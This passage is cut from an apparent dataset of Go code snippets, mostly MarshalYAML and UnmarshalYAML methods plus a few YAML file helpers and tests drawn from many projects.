{\\n\\tvar addRaw opAddRaw\\n\\terr := unmarshal(&addRaw)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"decode OpAdd: %s\\\", err)\\n\\t}\\n\\n\\treturn op.unmarshalFromOpAddRaw(addRaw)\\n}\",\n \"func (op OpRetain) MarshalYAML() (interface{}, error) {\\n\\treturn op.Fields, nil\\n}\",\n \"func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Fields)\\n}\",\n \"func (o Op) MarshalYAML() (interface{}, error) {\\n\\treturn map[string]interface{}{\\n\\t\\to.Type(): o.OpApplier,\\n\\t}, nil\\n}\",\n \"func (re Regexp) MarshalYAML() (interface{}, error) {\\n\\tif re.original != \\\"\\\" {\\n\\t\\treturn re.original, nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (re Regexp) MarshalYAML() (interface{}, error) {\\n\\tif re.original != \\\"\\\" {\\n\\t\\treturn re.original, nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (n Nil) MarshalYAML() (interface{}, error) {\\n\\treturn nil, nil\\n}\",\n \"func (ep Endpoint) MarshalYAML() (interface{}, error) {\\n\\ts, err := ep.toString()\\n\\treturn s, err\\n}\",\n \"func (f Flag) MarshalYAML() (interface{}, error) {\\n\\treturn f.Name, nil\\n}\",\n \"func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn nil\\n}\",\n \"func (self *Yaml) Del(params ...interface{}) error {\\n\\targs, err := self.generateArgs(params...)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn DeleteProperty(args)\\n}\",\n \"func cleanYaml(rawYaml []byte) []byte {\\n\\tvar lines []string\\n\\tvar buffer bytes.Buffer\\n\\n\\tlines = strings.Split(string(rawYaml), \\\"\\\\n\\\")\\n\\n\\tfor _, line := range lines {\\n\\t\\tbuffer.WriteString(rubyYamlRegex.ReplaceAllString(line, \\\"${1}${2}\\\\n\\\"))\\n\\t}\\n\\treturn buffer.Bytes()\\n}\",\n \"func (key PrivateKey) MarshalYAML() (interface{}, error) {\\n\\treturn key.String(), nil\\n}\",\n \"func (k *Kluster) YAML() ([]byte, error) {\\n\\treturn yaml.Marshal(k)\\n}\",\n \"func (s GitEvent) MarshalYAML() (interface{}, error) {\\n\\treturn toString[s], nil\\n}\",\n \"func (i UserGroupAccess) MarshalYAML() (interface{}, error) {\\n\\treturn i.String(), nil\\n}\",\n \"func (f *Flag) UnmarshalYAML(node *yaml.Node) error {\\n\\ttag := GetTag(node.Value)\\n\\tf.Name = tag.Name\\n\\tf.Negates = tag.Negates\\n\\tlog.Tracef(\\\"Unmarshal %s into %s\\\\n\\\", node.Value, tag)\\n\\treturn nil\\n}\",\n \"func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Field)\\n}\",\n \"func (c *KafkaCluster) removeMarshal(m *Marshaler) {\\n\\tc.lock.Lock()\\n\\tdefer c.lock.Unlock()\\n\\n\\tfor i, ml := range c.marshalers {\\n\\t\\tif ml == m {\\n\\t\\t\\tc.marshalers = append(c.marshalers[:i], c.marshalers[i+1:]...)\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n}\",\n \"func (f Fixed8) MarshalYAML() (interface{}, error) {\\n\\treturn f.String(), nil\\n}\",\n \"func (op OpFlatten) MarshalYAML() (interface{}, error) {\\n\\treturn op.Field.String(), nil\\n}\",\n \"func (b *Backend) MarshalYAML() (interface{}, error) {\\n\\tb.mu.RLock()\\n\\tdefer b.mu.RUnlock()\\n\\n\\tpayload := struct {\\n\\t\\tAddress string\\n\\t\\tDisabledUntil time.Time `yaml:\\\"disabledUntil\\\"`\\n\\t\\tForcePromotionsAfter time.Duration `yaml:\\\"forcePromotionsAfter\\\"`\\n\\t\\tLatency time.Duration `yaml:\\\"latency\\\"`\\n\\t\\tMaxConnections int `yaml:\\\"maxConnections\\\"`\\n\\t\\tTier int `yaml:\\\"tier\\\"`\\n\\t}{\\n\\t\\tAddress: b.addr.String(),\\n\\t\\tDisabledUntil: b.mu.disabledUntil,\\n\\t\\tForcePromotionsAfter: b.mu.forcePromotionAfter,\\n\\t\\tLatency: b.mu.lastLatency,\\n\\t\\tMaxConnections: b.mu.maxConnections,\\n\\t\\tTier: b.mu.tier,\\n\\t}\\n\\treturn payload, nil\\n}\",\n \"func (bc *ByteCount) MarshalYAML() (interface{}, error) {\\n\\treturn uint64(AtomicLoadByteCount(bc)), nil\\n}\",\n \"func (r *Regexp) MarshalYAML() (interface{}, error) {\\n\\treturn r.String(), nil\\n}\",\n \"func (export WebAuthnDeviceExport) MarshalYAML() (any, error) {\\n\\treturn export.ToData(), nil\\n}\",\n \"func (b ByteCount) MarshalYAML() (interface{}, error) {\\n\\treturn uint64(b), nil\\n}\",\n \"func (o *OAuthFlow) MarshalYAML() (interface{}, error) {\\n\\tnb := high.NewNodeBuilder(o, o.low)\\n\\treturn nb.Render(), nil\\n}\",\n \"func (d LegacyDec) MarshalYAML() (interface{}, error) {\\n\\treturn d.String(), nil\\n}\",\n \"func DeleteYaml(fname string) (err error) {\\n\\terr = os.Remove(fname)\\n\\treturn\\n}\",\n \"func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&b.Kv)\\n}\",\n \"func (u *URL) MarshalYAML() (interface{}, error) {\\n\\treturn u.String(), nil\\n}\",\n \"func (r ReadUntilConfig) MarshalYAML() (interface{}, error) {\\n\\tdummy := dummyReadUntilConfig{\\n\\t\\tInput: r.Input,\\n\\t\\tRestart: r.Restart,\\n\\t\\tCheck: r.Check,\\n\\t}\\n\\tif r.Input == nil {\\n\\t\\tdummy.Input = struct{}{}\\n\\t}\\n\\treturn dummy, nil\\n}\",\n \"func (o *Op) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar typeDecoder map[string]rawMessage\\n\\terr := unmarshal(&typeDecoder)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn o.unmarshalDecodedType(typeDecoder)\\n}\",\n \"func (s Secret) MarshalYAML() (interface{}, error) {\\n\\tif s != \\\"\\\" {\\n\\t\\treturn \\\"\\\", nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (s Secret) MarshalYAML() (interface{}, error) {\\n\\tif s != \\\"\\\" {\\n\\t\\treturn \\\"\\\", nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (c *Components) MarshalYAML() (interface{}, error) {\\n\\tnb := high.NewNodeBuilder(c, c.low)\\n\\treturn nb.Render(), nil\\n}\",\n \"func remove(ymlfile string, packageName string) error {\\n\\tappFS := afero.NewOsFs()\\n\\tyf, _ := afero.ReadFile(appFS, ymlfile)\\n\\tfi, err := os.Stat(ymlfile)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tvar out []byte\\n\\ti := 0\\n\\tlines := bytes.Split(yf, []byte(\\\"\\\\n\\\"))\\n\\tfor _, line := range lines {\\n\\t\\ti++\\n\\t\\t// trim the line to detect the start of the list of packages\\n\\t\\t// but do not write the trimmed string as it may cause an\\n\\t\\t// unneeded file diff to the yml file\\n\\t\\tsline := bytes.TrimLeft(line, \\\" \\\")\\n\\t\\tif bytes.HasPrefix(sline, []byte(\\\"- \\\"+packageName)) {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tout = append(out, line...)\\n\\t\\tif i < len(lines) {\\n\\t\\t\\tout = append(out, []byte(\\\"\\\\n\\\")...)\\n\\t\\t}\\n\\t}\\n\\terr = afero.WriteFile(appFS, ymlfile, out, fi.Mode())\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func ToCleanedK8sResourceYAML(obj Resource) ([]byte, error) {\\n\\traw, err := runtime.DefaultUnstructuredConverter.ToUnstructured(obj)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to convert object to unstructured object: %w\\\", err)\\n\\t}\\n\\n\\t// No need to store the status\\n\\tdelete(raw, \\\"status\\\")\\n\\n\\tmetadata := map[string]interface{}{\\n\\t\\t\\\"name\\\": obj.GetName(),\\n\\t}\\n\\n\\tif obj.GetNamespace() != \\\"\\\" {\\n\\t\\tmetadata[\\\"namespace\\\"] = obj.GetNamespace()\\n\\t}\\n\\n\\tif len(obj.GetLabels()) != 0 {\\n\\t\\tmetadata[\\\"labels\\\"] = obj.GetLabels()\\n\\t}\\n\\n\\tif len(obj.GetAnnotations()) != 0 {\\n\\t\\tmetadata[\\\"annotations\\\"] = obj.GetAnnotations()\\n\\t}\\n\\n\\traw[\\\"metadata\\\"] = metadata\\n\\n\\tbuf, err := yaml.Marshal(raw)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to convert unstructured object to json: %w\\\", err)\\n\\t}\\n\\n\\treturn buf, nil\\n}\",\n \"func MarshalToYaml(obj runtime.Object, gv schema.GroupVersion) ([]byte, error) {\\n\\treturn MarshalToYamlForCodecs(obj, gv, clientsetscheme.Codecs)\\n}\",\n \"func (s *MaporEqualSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \\\"=\\\")\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*s = parts\\n\\treturn nil\\n}\",\n \"func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain Secret\\n\\treturn unmarshal((*plain)(s))\\n}\",\n \"func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain Secret\\n\\treturn unmarshal((*plain)(s))\\n}\",\n \"func (w *CommandWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar err error\\n\\tvar str string\\n\\tif err = unmarshal(&str); err == nil {\\n\\t\\tw.Command = str\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar commandArray []string\\n\\tif err = unmarshal(&commandArray); err == nil {\\n\\t\\tw.Commands = commandArray\\n\\t\\treturn nil\\n\\t}\\n\\treturn nil //TODO: should be an error , something like UNhhandledError\\n}\",\n \"func (d Rate) MarshalYAML() (interface{}, error) {\\n\\treturn d.String(), nil\\n}\",\n \"func (u *URL) MarshalYAML() (interface{}, error) {\\n\\tif u.url == nil {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn u.url.String(), nil\\n}\",\n \"func (this *Write) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t// new temp as map[string]interface{}.\\n\\ttemp := make(map[string]interface{})\\n\\n\\t// unmarshal temp as yaml.\\n\\tif err := unmarshal(temp); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn this.unmarshal(temp)\\n}\",\n \"func (o *Output) MarshalYAML() (interface{}, error) {\\n\\tif o.ShowValue {\\n\\t\\treturn withvalue(*o), nil\\n\\t}\\n\\to.Value = nil // explicitly make empty\\n\\to.Sensitive = false // explicitly make empty\\n\\treturn *o, nil\\n}\",\n \"func (d Duration) MarshalYAML() (interface{}, error) {\\n\\treturn d.String(), nil\\n}\",\n \"func (ec EllipticCurve) MarshalYAML() (interface{}, error) {\\n\\treturn ec.String(), nil\\n}\",\n \"func TestBucketToYAML(t *testing.T) {\\n\\tt.Skip()\\n\\t\\n\\tbkt := bucket.New()\\n\\n\\tbkt.Nodes = append(bkt.Nodes, \\\"node-from-test\\\")\\n\\tbkt.Endpoints.Version = \\\"from-code\\\"\\n\\n\\tendpointItem := struct {\\n\\t\\tClusterName string `yaml:\\\"cluster_name\\\"`\\n\\t\\tHosts []struct {\\n\\t\\t\\tSocketAddress struct {\\n\\t\\t\\t\\tAddress string `yaml:\\\"address\\\"`\\n\\t\\t\\t\\tPortValue uint32 `yaml:\\\"port_value\\\"`\\n\\t\\t\\t} `yaml:\\\"socket_address\\\"\\\",flow\\\"`\\n\\t\\t} `yaml:\\\"hosts\\\"\\\",flow\\\"`\\n\\t}{\\n\\t\\tClusterName: \\\"cluster-from-test\\\",\\n\\t}\\n\\t\\n\\tbkt.Endpoints.Items = append(bkt.Endpoints.Items, endpointItem)\\n\\t\\n\\t// TODO: just a quick one for now\\n\\t// not checking the guts here\\n\\tyml, err := bkt.ToYAML()\\n\\tif err != nil {\\n\\t\\tlog.Tracef(\\\"bucket_test.go: TestBucketToYAML(): yml = %s\\\", yml)\\n\\t\\tt.Errorf(\\\"Could not bkt.ToYaml(), err = %s\\\", err)\\n\\t}\\n\\n\\tfilename := \\\"./bucket-obus-node-01-eds-rds-60001-route-direct.yaml\\\"\\n\\terr = bkt.FromFile(filename)\\n\\n\\tyml, err = bkt.ToYAML()\\n\\tif err != nil {\\n\\t\\tlog.Tracef(\\\"bucket_test.go: TestBucketToYAML(): yml = %s\\\", yml)\\n\\t\\tt.Errorf(\\\"Could not bkt.ToYAML(), err = %s\\\", err)\\n\\t}\\n\\n\\tlog.Tracef(\\\"bucket_test.go: TestBucketToYAML(): yml = >\\\\n%s\\\", yml)\\n\\n\\n\\t// check yml for regex 60099\\n\\t// check ymkl for cluster_name: obus-server-60001 and make sure that it appears 2 times\\n\\t// one in endpoints, another time in routes\\n\\n\\trxp,_ := regexp.Compile(\\\"60099\\\")\\n\\n\\tif !rxp.MatchString(string(yml)) {\\n\\t\\tt.Errorf(\\\"Could not find 60099 in generated YAML, while bkt.ToYAML()\\\")\\n\\t}\\n\\n\\n\\tif val , exp := strings.Count(string(yml), \\\"cluster_name: obus-server-60001\\\"), 2;\\n\\tval != exp {\\n\\t\\tt.Errorf(\\\"strings.Count(string(yml), \\\\\\\"cluster_name: obus-server-60001\\\\\\\") = %d, should be %d\\\", val, exp)\\n\\t}\\n\\t\\n}\",\n \"func removeFromKustomization(providerDirectory string, release v1alpha1.Release) error {\\n\\tpath := filepath.Join(providerDirectory, \\\"kustomization.yaml\\\")\\n\\tvar providerKustomization kustomizationFile\\n\\tproviderKustomizationData, err := ioutil.ReadFile(path)\\n\\tif err != nil {\\n\\t\\treturn microerror.Mask(err)\\n\\t}\\n\\n\\terr = yaml.UnmarshalStrict(providerKustomizationData, &providerKustomization)\\n\\tif err != nil {\\n\\t\\treturn microerror.Mask(err)\\n\\t}\\n\\n\\tfor i, r := range providerKustomization.Resources {\\n\\t\\tif r == releaseToDirectory(release) {\\n\\t\\t\\tproviderKustomization.Resources = append(providerKustomization.Resources[:i], providerKustomization.Resources[i+1:]...)\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\tproviderKustomization.Resources, err = deduplicateAndSortVersions(providerKustomization.Resources)\\n\\tif err != nil {\\n\\t\\treturn microerror.Mask(err)\\n\\t}\\n\\n\\tdata, err := yaml.Marshal(providerKustomization)\\n\\tif err != nil {\\n\\t\\treturn microerror.Mask(err)\\n\\t}\\n\\n\\terr = ioutil.WriteFile(path, data, 0644) //nolint:gosec\\n\\tif err != nil {\\n\\t\\treturn microerror.Mask(err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (c *Scrubber) ScrubYaml(input []byte) ([]byte, error) {\\n\\tvar data *interface{}\\n\\terr := yaml.Unmarshal(input, &data)\\n\\n\\t// if we can't load the yaml run the default scrubber on the input\\n\\tif err == nil {\\n\\t\\twalk(data, func(key string, value interface{}) (bool, interface{}) {\\n\\t\\t\\tfor _, replacer := range c.singleLineReplacers {\\n\\t\\t\\t\\tif replacer.YAMLKeyRegex == nil {\\n\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif replacer.YAMLKeyRegex.Match([]byte(key)) {\\n\\t\\t\\t\\t\\tif replacer.ProcessValue != nil {\\n\\t\\t\\t\\t\\t\\treturn true, replacer.ProcessValue(value)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\treturn true, defaultReplacement\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\treturn false, \\\"\\\"\\n\\t\\t})\\n\\n\\t\\tnewInput, err := yaml.Marshal(data)\\n\\t\\tif err == nil {\\n\\t\\t\\tinput = newInput\\n\\t\\t} else {\\n\\t\\t\\t// Since the scrubber is a dependency of the logger we can use it here.\\n\\t\\t\\tfmt.Fprintf(os.Stderr, \\\"error scrubbing YAML, falling back on text scrubber: %s\\\\n\\\", err)\\n\\t\\t}\\n\\t}\\n\\treturn c.ScrubBytes(input)\\n}\",\n \"func (p *Parameter) MarshalYAML() (interface{}, error) {\\n\\tnb := high.NewNodeBuilder(p, p.low)\\n\\treturn nb.Render(), nil\\n}\",\n \"func (d *Discriminator) MarshalYAML() (interface{}, error) {\\n\\tnb := low2.NewNodeBuilder(d, d.low)\\n\\treturn nb.Render(), nil\\n}\",\n \"func (a ApprovalStrategy) MarshalYAML() (interface{}, error) {\\n\\treturn approvalStrategyToString[a], nil\\n\\t//buffer := bytes.NewBufferString(`\\\"`)\\n\\t//buffer.WriteString(approvalStrategyToString[*s])\\n\\t//buffer.WriteString(`\\\"`)\\n\\t//return buffer.Bytes(), nil\\n}\",\n \"func (ss StdSignature) MarshalYAML() (interface{}, error) {\\n\\tpk := \\\"\\\"\\n\\tif ss.PubKey != nil {\\n\\t\\tpk = ss.PubKey.String()\\n\\t}\\n\\n\\tbz, err := yaml.Marshal(struct {\\n\\t\\tPubKey string `json:\\\"pub_key\\\"`\\n\\t\\tSignature string `json:\\\"signature\\\"`\\n\\t}{\\n\\t\\tpk,\\n\\t\\tfmt.Sprintf(\\\"%X\\\", ss.Signature),\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn string(bz), err\\n}\",\n \"func (d Duration) MarshalYAML() (interface{}, error) {\\n\\treturn d.Duration.String(), nil\\n}\",\n \"func (m MixinDeclaration) MarshalYAML() (interface{}, error) {\\n\\tif m.Config == nil {\\n\\t\\treturn m.Name, nil\\n\\t}\\n\\n\\traw := map[string]interface{}{\\n\\t\\tm.Name: m.Config,\\n\\t}\\n\\treturn raw, nil\\n}\",\n \"func (b Bool) MarshalYAML() (interface{}, error) {\\n\\tif !b.IsPresent() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn b.value, nil\\n}\",\n \"func (r RetryConfig) MarshalYAML() (interface{}, error) {\\n\\tdummy := dummyRetryConfig{\\n\\t\\tOutput: r.Output,\\n\\t\\tConfig: r.Config,\\n\\t}\\n\\tif r.Output == nil {\\n\\t\\tdummy.Output = struct{}{}\\n\\t}\\n\\treturn dummy, nil\\n}\",\n \"func (r ParseKind) MarshalYAML() ([]byte, error) {\\n\\tif s, ok := interface{}(r).(fmt.Stringer); ok {\\n\\t\\treturn yaml.Marshal(s.String())\\n\\t}\\n\\ts, ok := _ParseKindValueToName[r]\\n\\tif !ok {\\n\\t\\treturn nil, fmt.Errorf(\\\"invalid ParseKind: %d\\\", r)\\n\\t}\\n\\treturn yaml.Marshal(s)\\n}\",\n \"func (i UOM) MarshalYAML() (interface{}, error) {\\n\\treturn i.String(), nil\\n}\",\n \"func (b *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar strVal string\\n\\terr := unmarshal(&strVal)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tparsed, err := Parse(strVal)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*b = parsed\\n\\treturn nil\\n}\",\n \"func (m *BootstrapMode) MarshalYAML() (interface{}, error) {\\n\\treturn m.String(), nil\\n}\",\n \"func (u URL) MarshalYAML() (interface{}, error) {\\n\\tif u.URL != nil {\\n\\t\\treturn u.String(), nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (r *Connection) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype tmp Connection\\n\\tvar s struct {\\n\\t\\ttmp `yaml:\\\",inline\\\"`\\n\\t}\\n\\n\\terr := unmarshal(&s)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unable to parse YAML: %s\\\", err)\\n\\t}\\n\\n\\t*r = Connection(s.tmp)\\n\\n\\tif err := utils.ValidateTags(r); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// If options weren't specified, create an empty map.\\n\\tif r.Options == nil {\\n\\t\\tr.Options = make(map[string]interface{})\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (f BodyField) MarshalYAML() (interface{}, error) {\\n\\treturn toJSONDot(f), nil\\n}\",\n \"func ExportYAMLForSpec(ctx context.Context, client *gapic.RegistryClient, message *rpc.Spec) {\\n\\tprintDocAsYaml(docForMapping(exportSpec(ctx, client, message)))\\n}\",\n \"func MarshalYAML(v interface{}, extensions map[string]interface{}) (interface{}, error) {\\n\\tif len(extensions) == 0 {\\n\\t\\treturn v, nil\\n\\t}\\n\\tmarshaled, err := yaml.Marshal(v)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tvar unmarshaled map[string]interface{}\\n\\tif err := yaml.Unmarshal(marshaled, &unmarshaled); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tfor k, v := range extensions {\\n\\t\\tunmarshaled[k] = v\\n\\t}\\n\\treturn unmarshaled, nil\\n}\",\n \"func (s *Siegfried) YAML() string {\\n\\tversion := config.Version()\\n\\tstr := fmt.Sprintf(\\n\\t\\t\\\"---\\\\nsiegfried : %d.%d.%d\\\\nscandate : %v\\\\nsignature : %s\\\\ncreated : %v\\\\nidentifiers : \\\\n\\\",\\n\\t\\tversion[0], version[1], version[2],\\n\\t\\ttime.Now().Format(time.RFC3339),\\n\\t\\tconfig.SignatureBase(),\\n\\t\\ts.C.Format(time.RFC3339))\\n\\tfor _, id := range s.ids {\\n\\t\\td := id.Describe()\\n\\t\\tstr += fmt.Sprintf(\\\" - name : '%v'\\\\n details : '%v'\\\\n\\\", d[0], d[1])\\n\\t}\\n\\treturn str\\n}\",\n \"func (bc *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar u64 uint64\\n\\tif unmarshal(&u64) == nil {\\n\\t\\tAtomicStoreByteCount(bc, ByteCount(u64))\\n\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar s string\\n\\tif unmarshal(&s) == nil {\\n\\t\\tv, err := ParseByteCount(s)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"%q: %w: %v\\\", s, ErrMalformedRepresentation, err)\\n\\t\\t}\\n\\t\\tAtomicStoreByteCount(bc, v)\\n\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn fmt.Errorf(\\\"%w: unexpected type\\\", ErrMalformedRepresentation)\\n}\",\n \"func (z Z) MarshalYAML() (interface{}, error) {\\n\\ttype Z struct {\\n\\t\\tS string `json:\\\"s\\\"`\\n\\t\\tI int32 `json:\\\"iVal\\\"`\\n\\t\\tHash string\\n\\t\\tMultiplyIByTwo int64 `json:\\\"multipliedByTwo\\\"`\\n\\t}\\n\\tvar enc Z\\n\\tenc.S = z.S\\n\\tenc.I = z.I\\n\\tenc.Hash = z.Hash()\\n\\tenc.MultiplyIByTwo = int64(z.MultiplyIByTwo())\\n\\treturn &enc, nil\\n}\",\n \"func (d *WebAuthnDevice) MarshalYAML() (any, error) {\\n\\treturn d.ToData(), nil\\n}\",\n \"func (s *GitEvent) UnmarshalYAML(n *yaml.Node) error {\\n\\tvar j string\\n\\terr := yaml.Unmarshal([]byte(n.Value), &j)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// Note that if the string cannot be found then it will be set to the zero value, 'Push' in this case.\\n\\t*s = toID[j]\\n\\treturn nil\\n}\",\n \"func SPrintYAML(a interface{}) (string, error) {\\n\\tb, err := MarshalJSON(a)\\n\\t// doing yaml this way because at times you have nested proto structs\\n\\t// that need to be cleaned.\\n\\tyam, err := yamlconv.JSONToYAML(b)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\treturn string(yam), nil\\n}\",\n \"func (key *PublicKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar str string\\n\\terr := unmarshal(&str)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*key, err = NewPublicKey(str)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (s *MaporSpaceSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \\\" \\\")\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*s = parts\\n\\treturn nil\\n}\",\n \"func (v *LabelSet) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tlbSet := model.LabelSet{}\\n\\terr := unmarshal(&lbSet)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tv.LabelSet = lbSet\\n\\treturn nil\\n}\",\n \"func (cp *CertPool) MarshalYAML() (interface{}, error) {\\n\\treturn cp.Files, nil\\n}\",\n \"func (m *MagmaSwaggerSpec) MarshalToYAML() (string, error) {\\n\\td, err := yaml.Marshal(&m)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\treturn string(d), nil\\n}\",\n \"func (i Instance) MarshalYAML() (interface{}, error) {\\n\\treturn i.Vars, nil\\n}\",\n \"func FuzzSigYaml(b []byte) int {\\n\\tt := struct{}{}\\n\\tm := map[string]interface{}{}\\n\\tvar out int\\n\\tif err := sigyaml.Unmarshal(b, &m); err == nil {\\n\\t\\tout = 1\\n\\t}\\n\\tif err := sigyaml.Unmarshal(b, &t); err == nil {\\n\\t\\tout = 1\\n\\t}\\n\\treturn out\\n}\",\n \"func asYaml(w io.Writer, m resmap.ResMap) error {\\n\\tb, err := m.AsYaml()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t_, err = w.Write(b)\\n\\treturn err\\n}\",\n \"func (v *Int8) MarshalYAML() (interface{}, error) {\\n\\tif v.IsAssigned {\\n\\t\\treturn v.Val, nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func toYAML(v interface{}) string {\\n\\tdata, err := yaml.Marshal(v)\\n\\tif err != nil {\\n\\t\\t// Swallow errors inside of a template.\\n\\t\\treturn \\\"\\\"\\n\\t}\\n\\n\\treturn strings.TrimSuffix(string(data), \\\"\\\\n\\\")\\n}\",\n \"func (r OAuthFlow) MarshalYAML() (interface{}, error) {\\n\\tobj := make(map[string]interface{})\\n\\n\\tobj[\\\"authorizationUrl\\\"] = r.AuthorizationURL\\n\\n\\tobj[\\\"tokenUrl\\\"] = r.TokenURL\\n\\n\\tif r.RefreshURL != \\\"\\\" {\\n\\t\\tobj[\\\"refreshUrl\\\"] = r.RefreshURL\\n\\t}\\n\\n\\tobj[\\\"scopes\\\"] = r.Scopes\\n\\n\\tfor key, val := range r.Extensions {\\n\\t\\tobj[key] = val\\n\\t}\\n\\n\\treturn obj, nil\\n}\",\n \"func (v Validator) MarshalYAML() (interface{}, error) {\\n\\tbs, err := yaml.Marshal(struct {\\n\\t\\tStatus sdk.BondStatus\\n\\t\\tJailed bool\\n\\t\\tUnbondingHeight int64\\n\\t\\tConsPubKey string\\n\\t\\tOperatorAddress sdk.ValAddress\\n\\t\\tTokens sdk.Int\\n\\t\\tDelegatorShares sdk.Dec\\n\\t\\tDescription Description\\n\\t\\tUnbondingCompletionTime time.Time\\n\\t\\tCommission Commission\\n\\t\\tMinSelfDelegation sdk.Dec\\n\\t}{\\n\\t\\tOperatorAddress: v.OperatorAddress,\\n\\t\\tConsPubKey: MustBech32ifyConsPub(v.ConsPubKey),\\n\\t\\tJailed: v.Jailed,\\n\\t\\tStatus: v.Status,\\n\\t\\tTokens: v.Tokens,\\n\\t\\tDelegatorShares: v.DelegatorShares,\\n\\t\\tDescription: v.Description,\\n\\t\\tUnbondingHeight: v.UnbondingHeight,\\n\\t\\tUnbondingCompletionTime: v.UnbondingCompletionTime,\\n\\t\\tCommission: v.Commission,\\n\\t\\tMinSelfDelegation: v.MinSelfDelegation,\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn string(bs), nil\\n}\",\n \"func yamlUnmarshal(y []byte, o interface{}, strict bool, opts ...JSONOpt) error {\\n\\tvo := reflect.ValueOf(o)\\n\\tunmarshalFn := yaml.Unmarshal\\n\\tif strict {\\n\\t\\tunmarshalFn = yaml.UnmarshalStrict\\n\\t}\\n\\tj, err := yamlToJSON(y, &vo, unmarshalFn)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error converting YAML to JSON: %v\\\", err)\\n\\t}\\n\\n\\terr = jsonUnmarshal(bytes.NewReader(j), o, opts...)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error unmarshaling JSON: %v\\\", err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (cd *ContainerDef) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype rawContainerDef ContainerDef\\n\\traw := rawContainerDef{Essential: true} // If essential is not specified, we want it to be true\\n\\tif err := unmarshal(&raw); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*cd = ContainerDef(raw)\\n\\treturn nil\\n}\",\n \"func (gc *GroupConfiguration) UnmarshalYAML(value *yaml.Node) error {\\n\\tif value.Kind != yaml.MappingNode {\\n\\t\\treturn errors.New(\\\"expected mapping\\\")\\n\\t}\\n\\n\\tgc.versions = make(map[string]*VersionConfiguration)\\n\\tvar lastId string\\n\\n\\tfor i, c := range value.Content {\\n\\t\\t// Grab identifiers and loop to handle the associated value\\n\\t\\tif i%2 == 0 {\\n\\t\\t\\tlastId = c.Value\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// Handle nested version 